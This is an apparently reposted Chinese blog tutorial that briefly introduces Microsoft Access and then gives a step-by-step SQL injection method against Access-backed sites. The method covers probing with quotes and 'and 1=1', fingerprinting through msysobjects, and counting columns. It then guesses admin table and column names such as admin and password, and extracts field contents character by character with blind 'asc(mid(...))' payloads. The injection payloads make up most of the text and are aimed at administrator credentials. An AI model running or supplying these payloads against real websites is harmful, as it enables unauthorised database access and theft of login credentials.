本文共 1589 字,大约阅读时间需要 5 分钟。
一、认识access数据库
先来介绍一下这个数据库,Microsoft Office Access,Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 Microsoft Jet Database Engine 和 图形用户界面两项特点,是 Microsoft Office 的系统程序之一。
优势:提高速度和减少代码量
缺点:数据库过大时,一般ACCESS数据库达到100M左右的时候性能就会开始下降!(例如:访问人数过多时容易造成IIS假死,过多消耗服务器资源等等)、容易出现各种因数据库刷写频率过快而引起的数据库问题、安全性比不上其他类型的数据库等。
常见的数据库和脚本语言的搭配:
1、LAMP: Linux+apache+PHP+MySQL
2、LNMP:Linux+Nginx+PHP+MySQL
3、Windows+IIS+.net+MSSql Server
4、Linux+Tomcat+JSP+MySQL
5、Linux+Tomcat+JSP+Oracle
6、asp+access
7、asp.net+MSSql Server
二、access注入的常用方法
注入步骤: 1,先用单引号’初步判断,出现异常,有可能说明存在sql注入漏洞,而且这个方法还可以从异常信息中看出网站使用的是Access数据库。2,然后再使用经典命令 确认注入点:and 1=1,两边同时成立则返回数据正常,而 and 1=2则返回错误
3,判断网站数据库的类型
利用内置数据库表获取数据库类型
and (select count() from sysobjects)>=0 Sysobjects为Mssql数据库内置表 and (select count() from msysobjects)>=0
Msysobjects为Access数据库内置表先用and (select count() from sysobjects)>=0判断是否是sqlserver,再用and (select count() from msysobjects)>=0判断
4,用order by 判断字段数量
5、猜解后台管理员数据表名
常用命令:
and exists(select * from 表名)
and(select count(*) from 表名)>=0常用表名:
admin、a_admin、x_admin、m_admin、adminuser、adminstrator…
6、猜解列名(字段名)
常用命令:
and exists(select 字段名 from 表名)
and (select count(字段名) from 表名)>=0常用的列名:
admin,password,username、admin_name、name、admin_userid、admin_id…
7、猜解字段内容长度
and (select top 1 len(字段名) from 表名)>1
and (select top 1 len(字段名) from 表名)>2 and (select top 1 len(字段名) from 表名)>nn为从1开始的值,依次加1直到回显为错误,那个n值则为该列第一个变量的长度(top 1子句含义为查询结果只显示首条记录)
8、猜解字段内容
and (select top 1 asc(mid(列名,n,1)) from 表名) > m
n为从1开始的值,m为从97开始的值。m依次加1,直到出现错误回显为止,则说明列中的第n个字母的ASCII码为m。 补充: MID 函数用于从文本字段中提取字符: MID(column_name,start[,length]) ASC函数用于获取字符的ASCII码转载地址:https://blog.csdn.net/nextlubricate/article/details/116572426 如侵犯您的版权,请留言回复原文章的地址,我们会给您删除此文章,给您带来不便请您谅解!